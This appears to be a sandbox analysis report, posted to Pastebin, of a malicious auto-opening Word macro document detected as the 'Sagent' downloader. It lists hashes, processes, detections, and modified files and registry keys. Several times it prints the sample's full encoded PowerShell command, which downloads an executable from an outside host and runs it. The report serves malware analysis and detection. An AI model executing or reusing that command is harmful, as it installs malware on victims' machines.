API tools faq
paste
paladin316

4006Docs_39283b8d17e7b266ccb3a5a01b70e163_doc_2019-10-04_08_30.txt

paladin316
Oct 4th, 2019
2,330
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 57.27 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * ID: 4006
  3. * MalFamily: "Sagent"
  4.  
  5. * MalScore: 10.0
  6.  
  7. * File Name: "Docs_39283b8d17e7b266ccb3a5a01b70e163.doc"
  8. * File Size: 97792
  9. * File Type: "Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Title: dot-com AI withdrawal Saint Helena Congo Cliff Congolese Franc tan, Author: Cathryn Cummings, Comments: analyzer, Template: Normal.dotm, Last Saved By: Johnny Nicolas, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Oct 3 13:38:00 2019, Last Saved Time/Date: Thu Oct 3 13:38:00 2019, Number of Pages: 1, Number of Words: 28, Number of Characters: 166, Security: 0"
  10. * SHA256: "d07f5faa13f8bdbbf12b03c1a1be3dfa5731dada0d1ac005b31d78fa2db6db77"
  11. * MD5: "39283b8d17e7b266ccb3a5a01b70e163"
  12. * SHA1: "2f8b5f20881426720ed4b6f5f0dd386f572ccd90"
  13. * SHA512: "fcc080ca9cf93e4236facdb458500658b90e8559e81600cb3c74a315c5511d534b179a2f179c170d208b1f97c9b4c170a1b92663478275cb1af3395c3c16103e"
  14. * CRC32: "61DBEE21"
  15. * SSDEEP: "1536:53noPQ0iojRMeOY5C6OJsdBpZW7vAnpRwMDihwKxCZNtR+a94:53noPNiojOeOY5CTsdA7vAbwMDWCN"
  16.  
  17. * Process Execution:
  18. "WINWORD.EXE",
  19. "splwow64.exe",
  20. "explorer.exe",
  21. "svchost.exe",
  22. "WmiPrvSE.exe",
  23. "powershell.exe",
  24. "svchost.exe",
  25. "taskeng.exe",
  26. "taskeng.exe",
  27. "msoia.exe",
  28. "msoia.exe",
  29. "WMIADAP.exe",
  30. "taskeng.exe",
  31. "taskeng.exe"
  32.  
  33.  
  34. * Executed Commands:
  35. "C:\\Windows\\splwow64.exe 12288",
  36. "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding",
  37. "taskeng.exe 02F446B8-C8AE-48AE-A2CB-E1C80B361FC6 S-1-5-18:NT AUTHORITY\\System:Service:",
  38. "taskeng.exe 75CB7685-8E4A-414C-B5B8-3D486F7D6CEB S-1-5-21-0000000000-0000000000-0000000000-1000:Host\\user:Interactive:1",
  39. "\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE wmiadap.exe /F /T /R",
  40. "taskeng.exe D1A85936-A218-4880-9901-1C6343DC28B9 S-1-5-18:NT AUTHORITY\\System:Service:",
  41. "taskeng.exe 285AF614-AB99-4E2A-B187-2EEE4FF35A33 S-1-5-18:NT AUTHORITY\\System:Service:",
  42. "powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABGAHUAbABsAHkAYwBvAG4AZgBpAGcAdQByAGEAYgBsAGUAcAB0AHUAPQAnAFUAbgBiAHIAYQBuAGQAZQBkAHQAZgBqACcAOwAkAFMAUwBMAHoAcwBmACAAPQAgACcAMgA0ADkAJwA7ACQAbQBlAHQAaABvAGQAbwBsAG8AZwBpAGUAcwBzAGkAbwA9ACcATQBvAG4AZQB5AF8ATQBhAHIAawBlAHQAXwBBAGMAYwBvAHUAbgB0AGoAawByACcAOwAkAGQAZQBwAG8AcwBpAHQAcgB6AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAUwBMAHoAcwBmACsAJwAuAGUAeABlACcAOwAkAEIAZQByAGsAcwBoAGkAcgBlAHcAagBpAD0AJwBSAHUAcwB0AGkAYwBfAFIAdQBiAGIAZQByAF8AQwBoAGUAZQBzAGUAYQB6AHoAJwA7ACQAcgBlAGIAbwBvAHQAbQBxAHcAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AdwBFAEIAQwBMAGkAZQBuAFQAOwAkAFMAbQBhAGwAbABfAFcAbwBvAGQAZQBuAF8AQwBoAGUAZQBzAGUAdABpAGkAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBnAGUAbABpAG4ALgB4AHkAegAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBwAGwAdQBnAGkAbgBzAC8AYQBwAGkAawBlAHkALwBkAGEAdABhAC4AZQB4AGUAJwAuACIAcwBwAGAAbABJAHQAIgAoACcAQAAnACkAOwAkAGkAbgBkAGUAeABpAG4AZwBrAG0AYQA9ACcAcwBpAGwAdgBlAHIAbgBvAHoAJwA7AGYAbwByAGUAYQBjAGgAKAAkAG4AbwBuAHYAbwBsAGEAdABpAGwAZQB1AGIAYQAgAGkAbgAgACQAUwBtAGEAbABsAF8AVwBvAG8AZABlAG4AXwBDAGgAZQBlAHMAZQB0AGkAaQApAHsAdAByAHkAewAkAHIAZQBiAG8AbwB0AG0AcQB3AC4AIgBEAG8AVwBuAEwATwBBAGAAZABgAEYAaQBMAEUAIgAoACQAbgBvAG4AdgBvAGwAYQB0AGkAbABlAHUAYgBhACwAIAAkAGQAZQBwAG8AcwBpAHQAcgB6AHIAKQA7ACQATQBhAG4AbwByAHMAdABqAD0AJwBSAEEATQBzAGMAYgAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAGQAZQBwAG8AcwBpAHQAcgB6AHIAKQAuACIAbABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADMAMgA2ADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAQQByAHQAIgAoACQAZABlAHAAbwBzAGkAdAByAHoAcgApADsAJABEAHkAbgBhAG0AaQBjAG8AZgB6AD0AJwBtAGUAdAByAGkAYwBzAHEAaQBxACcAOwBiAHIAZQBhAGsAOwAkAEYAbABvAHIAaQBkAGEAawBoAHEAPQAnAHQAaQBtAGUAZgByAGEAbQBlAGkAbwBzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGMAbwBtAHAAcgBlAHMAcwBuAHUAcQA9ACcAegBlAHIAbwBfAHQAbwBsAGUAcgBhAG4AYwBlAGEAbQByACcA",
  43. "\"C:\\Program Files\\Common Files\\Microsoft Shared\\Office15\\OLicenseHeartbeat.exe\"",
  44. "\"C:\\Program Files\\Microsoft Office\\Office15\\msoia.exe\" scan upload mininterval:2880",
  45. "\"C:\\Program Files\\Microsoft Office\\Office15\\msoia.exe\" scan upload"
  46.  
  47.  
  48. * Signatures Detected:
  49.  
  50. "Description": "SetUnhandledExceptionFilter detected (possible anti-debug)",
  51. "Details":
  52.  
  53.  
  54. "Description": "Guard pages use detected - possible anti-debugging.",
  55. "Details":
  56.  
  57.  
  58. "Description": "A process attempted to delay the analysis task.",
  59. "Details":
  60.  
  61. "Process": "WINWORD.EXE tried to sleep 509 seconds, actually delayed analysis time by 0 seconds"
  62.  
  63.  
  64. "Process": "WmiPrvSE.exe tried to sleep 300 seconds, actually delayed analysis time by 0 seconds"
  65.  
  66.  
  67. "Process": "taskeng.exe tried to sleep 541 seconds, actually delayed analysis time by 0 seconds"
  68.  
  69.  
  70. "Process": "svchost.exe tried to sleep 360 seconds, actually delayed analysis time by 0 seconds"
  71.  
  72.  
  73.  
  74.  
  75. "Description": "A process created a hidden window",
  76. "Details":
  77.  
  78. "Process": "svchost.exe -> \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE"
  79.  
  80.  
  81.  
  82.  
  83. "Description": "Executed a very long command line or script command which may be indicative of chained commands or obfuscation",
  84. "Details":
  85.  
  86. "command": "powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABGAHUAbABsAHkAYwBvAG4AZgBpAGcAdQByAGEAYgBsAGUAcAB0AHUAPQAnAFUAbgBiAHIAYQBuAGQAZQBkAHQAZgBqACcAOwAkAFMAUwBMAHoAcwBmACAAPQAgACcAMgA0ADkAJwA7ACQAbQBlAHQAaABvAGQAbwBsAG8AZwBpAGUAcwBzAGkAbwA9ACcATQBvAG4AZQB5AF8ATQBhAHIAawBlAHQAXwBBAGMAYwBvAHUAbgB0AGoAawByACcAOwAkAGQAZQBwAG8AcwBpAHQAcgB6AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAUwBMAHoAcwBmACsAJwAuAGUAeABlACcAOwAkAEIAZQByAGsAcwBoAGkAcgBlAHcAagBpAD0AJwBSAHUAcwB0AGkAYwBfAFIAdQBiAGIAZQByAF8AQwBoAGUAZQBzAGUAYQB6AHoAJwA7ACQAcgBlAGIAbwBvAHQAbQBxAHcAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AdwBFAEIAQwBMAGkAZQBuAFQAOwAkAFMAbQBhAGwAbABfAFcAbwBvAGQAZQBuAF8AQwBoAGUAZQBzAGUAdABpAGkAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBnAGUAbABpAG4ALgB4AHkAegAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBwAGwAdQBnAGkAbgBzAC8AYQBwAGkAawBlAHkALwBkAGEAdABhAC4AZQB4AGUAJwAuACIAcwBwAGAAbABJAHQAIgAoACcAQAAnACkAOwAkAGkAbgBkAGUAeABpAG4AZwBrAG0AYQA9ACcAcwBpAGwAdgBlAHIAbgBvAHoAJwA7AGYAbwByAGUAYQBjAGgAKAAkAG4AbwBuAHYAbwBsAGEAdABpAGwAZQB1AGIAYQAgAGkAbgAgACQAUwBtAGEAbABsAF8AVwBvAG8AZABlAG4AXwBDAGgAZQBlAHMAZQB0AGkAaQApAHsAdAByAHkAewAkAHIAZQBiAG8AbwB0AG0AcQB3AC4AIgBEAG8AVwBuAEwATwBBAGAAZABgAEYAaQBMAEUAIgAoACQAbgBvAG4AdgBvAGwAYQB0AGkAbABlAHUAYgBhACwAIAAkAGQAZQBwAG8AcwBpAHQAcgB6AHIAKQA7ACQATQBhAG4AbwByAHMAdABqAD0AJwBSAEEATQBzAGMAYgAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAGQAZQBwAG8AcwBpAHQAcgB6AHIAKQAuACIAbABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADMAMgA2ADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAQQByAHQAIgAoACQAZABlAHAAbwBzAGkAdAByAHoAcgApADsAJABEAHkAbgBhAG0AaQBjAG8AZgB6AD0AJwBtAGUAdAByAGkAYwBzAHEAaQBxACcAOwBiAHIAZQBhAGsAOwAkAEYAbABvAHIAaQBkAGEAawBoAHEAPQAnAHQAaQBtAGUAZgByAGEAbQBlAGkAbwBzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGMAbwBtAHAAcgBlAHMAcwBuAHUAcQA9ACcAegBlAHIAbwBfAHQAbwBsAGUAcgBhAG4AYwBlAGEAbQByACcA"
  87.  
  88.  
  89.  
  90.  
  91. "Description": "The office file has a unconventional code page: ANSI Cyrillic; Cyrillic (Windows)",
  92. "Details":
  93.  
  94.  
  95. "Description": "The office file has 2 macros.",
  96. "Details":
  97.  
  98.  
  99. "Description": "The office file contains a macro with auto execution",
  100. "Details":
  101.  
  102. "autoopen": "Runs when the Word document is opened"
  103.  
  104.  
  105.  
  106.  
  107. "Description": "The office file contains anomalous features",
  108. "Details":
  109.  
  110. "creation_anomaly": "The file appears to have an edit time yet has no creation time or last saved time. This can be a sign of an automated document creation kit."
  111.  
  112.  
  113.  
  114.  
  115. "Description": "A scripting utility was executed",
  116. "Details":
  117.  
  118. "command": "powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABGAHUAbABsAHkAYwBvAG4AZgBpAGcAdQByAGEAYgBsAGUAcAB0AHUAPQAnAFUAbgBiAHIAYQBuAGQAZQBkAHQAZgBqACcAOwAkAFMAUwBMAHoAcwBmACAAPQAgACcAMgA0ADkAJwA7ACQAbQBlAHQAaABvAGQAbwBsAG8AZwBpAGUAcwBzAGkAbwA9ACcATQBvAG4AZQB5AF8ATQBhAHIAawBlAHQAXwBBAGMAYwBvAHUAbgB0AGoAawByACcAOwAkAGQAZQBwAG8AcwBpAHQAcgB6AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAUwBMAHoAcwBmACsAJwAuAGUAeABlACcAOwAkAEIAZQByAGsAcwBoAGkAcgBlAHcAagBpAD0AJwBSAHUAcwB0AGkAYwBfAFIAdQBiAGIAZQByAF8AQwBoAGUAZQBzAGUAYQB6AHoAJwA7ACQAcgBlAGIAbwBvAHQAbQBxAHcAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AdwBFAEIAQwBMAGkAZQBuAFQAOwAkAFMAbQBhAGwAbABfAFcAbwBvAGQAZQBuAF8AQwBoAGUAZQBzAGUAdABpAGkAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBnAGUAbABpAG4ALgB4AHkAegAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBwAGwAdQBnAGkAbgBzAC8AYQBwAGkAawBlAHkALwBkAGEAdABhAC4AZQB4AGUAJwAuACIAcwBwAGAAbABJAHQAIgAoACcAQAAnACkAOwAkAGkAbgBkAGUAeABpAG4AZwBrAG0AYQA9ACcAcwBpAGwAdgBlAHIAbgBvAHoAJwA7AGYAbwByAGUAYQBjAGgAKAAkAG4AbwBuAHYAbwBsAGEAdABpAGwAZQB1AGIAYQAgAGkAbgAgACQAUwBtAGEAbABsAF8AVwBvAG8AZABlAG4AXwBDAGgAZQBlAHMAZQB0AGkAaQApAHsAdAByAHkAewAkAHIAZQBiAG8AbwB0AG0AcQB3AC4AIgBEAG8AVwBuAEwATwBBAGAAZABgAEYAaQBMAEUAIgAoACQAbgBvAG4AdgBvAGwAYQB0AGkAbABlAHUAYgBhACwAIAAkAGQAZQBwAG8AcwBpAHQAcgB6AHIAKQA7ACQATQBhAG4AbwByAHMAdABqAD0AJwBSAEEATQBzAGMAYgAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAGQAZQBwAG8AcwBpAHQAcgB6AHIAKQAuACIAbABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADMAMgA2ADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAQQByAHQAIgAoACQAZABlAHAAbwBzAGkAdAByAHoAcgApADsAJABEAHkAbgBhAG0AaQBjAG8AZgB6AD0AJwBtAGUAdAByAGkAYwBzAHEAaQBxACcAOwBiAHIAZQBhAGsAOwAkAEYAbABvAHIAaQBkAGEAawBoAHEAPQAnAHQAaQBtAGUAZgByAGEAbQBlAGkAbwBzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGMAbwBtAHAAcgBlAHMAcwBuAHUAcQA9ACcAegBlAHIAbwBfAHQAbwBsAGUAcgBhAG4AYwBlAGEAbQByACcA"
  119.  
  120.  
  121.  
  122.  
  123. "Description": "Uses Windows utilities for basic functionality",
  124. "Details":
  125.  
  126. "command": "\"C:\\Program Files\\Common Files\\Microsoft Shared\\Office15\\OLicenseHeartbeat.exe\""
  127.  
  128.  
  129.  
  130.  
  131. "Description": "Behavioural detection: Transacted Hollowing",
  132. "Details":
  133.  
  134.  
  135. "Description": "Stack pivoting was detected when using a critical API",
  136. "Details":
  137.  
  138. "process": "taskeng.exe:3968"
  139.  
  140.  
  141. "process": "powershell.exe:2344"
  142.  
  143.  
  144. "process": "svchost.exe:888"
  145.  
  146.  
  147.  
  148.  
  149. "Description": "Creates a hidden or system file",
  150. "Details":
  151.  
  152. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\~$qyllXH.doc"
  153.  
  154.  
  155. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF628b1c.TMP"
  156.  
  157.  
  158.  
  159.  
  160. "Description": "File has been identified by 20 Antiviruses on VirusTotal as malicious",
  161. "Details":
  162.  
  163. "Cyren": "W97M/Downldr.DI.gen!Eldorado"
  164.  
  165.  
  166. "Symantec": "W97M.Downloader"
  167.  
  168.  
  169. "ESET-NOD32": "VBA/TrojanDownloader.Agent.NVE"
  170.  
  171.  
  172. "Kaspersky": "HEUR:Trojan.MSOffice.SAgent.gen"
  173.  
  174.  
  175. "AegisLab": "Trojan.MSOffice.SAgent.4!c"
  176.  
  177.  
  178. "Tencent": "Win32.Trojan-downloader.Agent.Ljam"
  179.  
  180.  
  181. "F-Secure": "Malware.W2000M/Agent.85930"
  182.  
  183.  
  184. "DrWeb": "Exploit.Siggen.29015"
  185.  
  186.  
  187. "TrendMicro": "HEUR_VBA.O2"
  188.  
  189.  
  190. "McAfee-GW-Edition": "BehavesLike.Downloader.ng"
  191.  
  192.  
  193. "SentinelOne": "DFI - Malicious OLE"
  194.  
  195.  
  196. "Avira": "W2000M/Agent.85930"
  197.  
  198.  
  199. "Microsoft": "TrojanDownloader:O97M/Obfuse.NG!MTB"
  200.  
  201.  
  202. "Endgame": "malicious (high confidence)"
  203.  
  204.  
  205. "ZoneAlarm": "HEUR:Trojan.MSOffice.SAgent.gen"
  206.  
  207.  
  208. "McAfee": "W97M/Downloader.daz"
  209.  
  210.  
  211. "TACHYON": "Suspicious/W97M.Obfus.Gen.3"
  212.  
  213.  
  214. "Zoner": "Probably W97Obfuscated"
  215.  
  216.  
  217. "Fortinet": "VBA/Agent.D5CD!tr"
  218.  
  219.  
  220. "Qihoo-360": "virus.office.obfuscated.1"
  221.  
  222.  
  223.  
  224.  
  225. "Description": "A script or command line contains a long continuous string indicative of obfuscation",
  226. "Details":
  227.  
  228. "command": "powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABGAHUAbABsAHkAYwBvAG4AZgBpAGcAdQByAGEAYgBsAGUAcAB0AHUAPQAnAFUAbgBiAHIAYQBuAGQAZQBkAHQAZgBqACcAOwAkAFMAUwBMAHoAcwBmACAAPQAgACcAMgA0ADkAJwA7ACQAbQBlAHQAaABvAGQAbwBsAG8AZwBpAGUAcwBzAGkAbwA9ACcATQBvAG4AZQB5AF8ATQBhAHIAawBlAHQAXwBBAGMAYwBvAHUAbgB0AGoAawByACcAOwAkAGQAZQBwAG8AcwBpAHQAcgB6AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAUwBMAHoAcwBmACsAJwAuAGUAeABlACcAOwAkAEIAZQByAGsAcwBoAGkAcgBlAHcAagBpAD0AJwBSAHUAcwB0AGkAYwBfAFIAdQBiAGIAZQByAF8AQwBoAGUAZQBzAGUAYQB6AHoAJwA7ACQAcgBlAGIAbwBvAHQAbQBxAHcAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AdwBFAEIAQwBMAGkAZQBuAFQAOwAkAFMAbQBhAGwAbABfAFcAbwBvAGQAZQBuAF8AQwBoAGUAZQBzAGUAdABpAGkAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBnAGUAbABpAG4ALgB4AHkAegAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBwAGwAdQBnAGkAbgBzAC8AYQBwAGkAawBlAHkALwBkAGEAdABhAC4AZQB4AGUAJwAuACIAcwBwAGAAbABJAHQAIgAoACcAQAAnACkAOwAkAGkAbgBkAGUAeABpAG4AZwBrAG0AYQA9ACcAcwBpAGwAdgBlAHIAbgBvAHoAJwA7AGYAbwByAGUAYQBjAGgAKAAkAG4AbwBuAHYAbwBsAGEAdABpAGwAZQB1AGIAYQAgAGkAbgAgACQAUwBtAGEAbABsAF8AVwBvAG8AZABlAG4AXwBDAGgAZQBlAHMAZQB0AGkAaQApAHsAdAByAHkAewAkAHIAZQBiAG8AbwB0AG0AcQB3AC4AIgBEAG8AVwBuAEwATwBBAGAAZABgAEYAaQBMAEUAIgAoACQAbgBvAG4AdgBvAGwAYQB0AGkAbABlAHUAYgBhACwAIAAkAGQAZQBwAG8AcwBpAHQAcgB6AHIAKQA7ACQATQBhAG4AbwByAHMAdABqAD0AJwBSAEEATQBzAGMAYgAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAGQAZQBwAG8AcwBpAHQAcgB6AHIAKQAuACIAbABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADMAMgA2ADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAQQByAHQAIgAoACQAZABlAHAAbwBzAGkAdAByAHoAcgApADsAJABEAHkAbgBhAG0AaQBjAG8AZgB6AD0AJwBtAGUAdAByAGkAYwBzAHEAaQBxACcAOwBiAHIAZQBhAGsAOwAkAEYAbABvAHIAaQBkAGEAawBoAHEAPQAnAHQAaQBtAGUAZgByAGEAbQBlAGkAbwBzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGMAbwBtAHAAcgBlAHMAcwBuAHUAcQA9ACcAegBlAHIAbwBfAHQAbwBsAGUAcgBhAG4AYwBlAGEAbQByACcA"
  229.  
  230.  
  231.  
  232.  
  233. "Description": "The office file contains a macro with suspicious strings",
  234. "Details":
  235.  
  236. "open": "May open a file"
  237.  
  238.  
  239. "CreateObject": "May create an OLE object"
  240.  
  241.  
  242. "ShowWindow": "May hide the application"
  243.  
  244.  
  245. "virtual": "May detect virtualization"
  246.  
  247.  
  248. "system": "May run an executable file or a system command on a Mac (if combined with libc.dylib)"
  249.  
  250.  
  251.  
  252.  
  253.  
  254. * Started Service:
  255. "osppsvc"
  256.  
  257.  
  258. * Mutexes:
  259. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  260. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  261. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  262. "Local\\WinSpl64To32Mutex_1930c_0_3000",
  263. "CicLoadWinStaWinSta0",
  264. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  265. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  266. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  267. "Local\\F99C425F-9135-43ed-BD7D-396DE488DC53",
  268. "Global\\CLR_CASOFF_MUTEX",
  269. "Global\\.net clr networking",
  270. "Global\\ADAP_WMI_ENTRY",
  271. "Global\\RefreshRA_Mutex",
  272. "Global\\RefreshRA_Mutex_Lib",
  273. "Global\\RefreshRA_Mutex_Flag"
  274.  
  275.  
  276. * Modified Files:
  277. "C:\\Users\\user\\AppData\\Local\\Temp\\aqyllXH.doc",
  278. "C:\\Users\\user\\AppData\\Local\\Temp\\~DFC3D85F55D3CB2D9F.TMP",
  279. "C:\\Users\\user\\AppData\\Local\\Temp\\~$qyllXH.doc",
  280. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS03549902-1D37-404F-B4BC-5B9C8E8C008E.tmp",
  281. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF632210A0-7987-4766-8110-151466C6B33E.tmp",
  282. "C:\\Users\\user\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd",
  283. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\5ADA0797.wmf",
  284. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\39D78CAC.wmf",
  285. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\8ECAACBD.wmf",
  286. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\DF93139A.wmf",
  287. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\DE515AD3.wmf",
  288. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\92ECAEB8.wmf",
  289. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\D39A2F59.wmf",
  290. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\CD62DD86.wmf",
  291. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\745EA3CF.wmf",
  292. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\9D49CB84.wmf",
  293. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\43B9EDB5.wmf",
  294. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\BBD43032.wmf",
  295. "C:\\Users\\user\\AppData\\Local\\GDIPFONTCACHEV1.DAT",
  296. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  297. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  298. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSB31B11B1-5FB1-4BA6-B86C-6F04DA5FD23E.tmp",
  299. "\\Device\\LanmanDatagramReceiver",
  300. "C:\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb",
  301. "C:\\Windows\\SoftwareDistribution\\DataStore\\Logs\\edb.chk",
  302. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
  303. "C:\\Windows\\sysnative\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk",
  304. "\\??\\PIPE\\srvsvc",
  305. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\KIJS3PBZ8LMJGX1Y9K9I.temp",
  306. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF628b1c.TMP",
  307. "C:\\Users\\user\\249.exe"
  308.  
  309.  
  310. * Deleted Files:
  311. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  312. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  313. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  314. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSB31B11B1-5FB1-4BA6-B86C-6F04DA5FD23E.tmp",
  315. "C:\\Windows\\sysnative\\Tasks\\Microsoft\\Windows Defender\\MpIdleTask",
  316. "C:\\Windows\\sysnative\\Tasks\\Microsoft\\Windows Defender\\MP Scheduled Scan",
  317. "C:\\Windows\\SoftwareDistribution\\DataStore\\Logs\\edbtmp.log",
  318. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF628b1c.TMP",
  319. "C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\security.config.cch.2344.6460078",
  320. "C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\enterprisesec.config.cch.2344.6460078",
  321. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\CLR Security Config\\v2.0.50727.312\\64bit\\security.config.cch.2344.6460078"
  322.  
  323.  
  324. * Modified Registry Keys:
  325. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\?er",
  326. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\VBAFiles",
  327. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  328. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  329. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
